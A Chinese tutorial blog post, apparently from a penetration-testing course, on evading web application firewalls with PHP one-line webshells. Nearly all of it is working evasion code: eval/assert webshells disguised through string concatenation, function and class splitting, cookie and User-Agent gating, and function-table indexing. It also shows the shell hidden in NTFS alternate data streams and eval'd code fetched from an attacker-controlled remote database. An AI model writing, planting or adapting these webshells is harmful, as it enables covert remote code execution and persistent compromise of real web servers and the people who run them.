本文内容:
1,WAF检测机制:
常见的一句话木马:<?php @eval($_REQUEST[‘a‘])?>
WAF最直接的检测就是正则匹配,当遇到拦截时,就应该考虑它是怎么拦截的,匹配的是什么?
将代码一点一点书写,看是那个部分被匹配,导致被拦截。
如:拦截的是$_REQUEST[]那么传参就可以尝试一下不出现中括号行不行。
更改成:
<?php @eval (end($_REQUEST));?>
使用一个函数end,代替[],end函数的意义:输出数据中的当前元素和最后一个元素的值,这里就一个,所有就是输入当前元素值,唯一缺点:无密码。
2,常见绕过手法:
1.通过常量定义:
如:
<?php define("a","$_REQUEST[a]");eval(a);?>
2.通过字符串拼接+双美元符号:
如:
<?php
$a=‘ass‘;
$b=ert;
$funcName=$a.$b;
$x=‘funcName‘;
$$x($_REQUEST[‘a‘]);
?>
$assert($_REQUEST[1]); assert类似于eavl
为什么要用assert,因为php中eval不能拼接执行(规定)
3.通过函数定义强行分离:
如:
<?php
fuction a($a){
return $a;}
eval(a($_REQUEST)[‘a‘]); 强行分隔$_REQUEST[‘a‘]
?>
4.通过类定义,然后传参强行分隔:
如:
<?php
class User{
public $name=‘‘;
function __destruct(){
eval("$this->name");
}
}
$user=new User;
$user->name=‘‘.$_REQUEST[‘a‘];
?>
5.多方式传参免杀:
如:
<?php
$COOKIE=$_COOKIE;
foreach($COOKIE as $key=>$value){
if($key==‘assert‘){
$key($_REQUEST[‘a‘]);
}
}
?>
需要对cookie传参
6.通过所有函数,二维数组调用免杀:
如:
<?php
$a=get_defined_functions();
$a[‘internal‘][841]($_REQUEST[‘a‘]);
?>
通过二位数组,数组,键,值。
7.绕D盾:
如:
<?php
if($_SERVER[‘HTTP_USER_AGENT‘]===‘1‘){
eval (end($_REQUEST));}?>
需要抓包将USER_AGENT改为1
8.得到shell,藏shell:NTFS文件流,寄存:
如:
echo abcd>>a.txt:b.txt 将abcd写入a.txt:b.txt,很明显生成一个a.txt,将b.txt寄宿到a.txt文件上。
任意文件存放,访问即可
<?php include(‘/:123.txt‘)?>
藏shall,将获取的shall藏到[寄存]/文件里
echo"<?php eval($_REQUEST[‘a‘]);?>">>/:123.txt
dir也查询不到
安全狗检测不出,D盾爆出可疑
只有windows里可以用。
9.终极大法:
如:
<?php
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect(‘127.0.0.1‘,‘root‘,‘root‘,‘database‘),‘select * from table_name‘))[‘column_name‘]);
?>
通过连接数据,执行数据库,查询info表里,info字段,只能查询一条数据,所以第一条数据要放一句话木马:<?php @eval($_REQUEST[‘a‘])?>
让服务器去连接读取我们放在公网的数据库的内容,可以使用香港云、虚拟主机等。
网络安全从入门到精通(第九章-6) Bypass - 绕过阻挡我们的Waf (下)
原文:https://www.cnblogs.com/xz25/p/12775425.html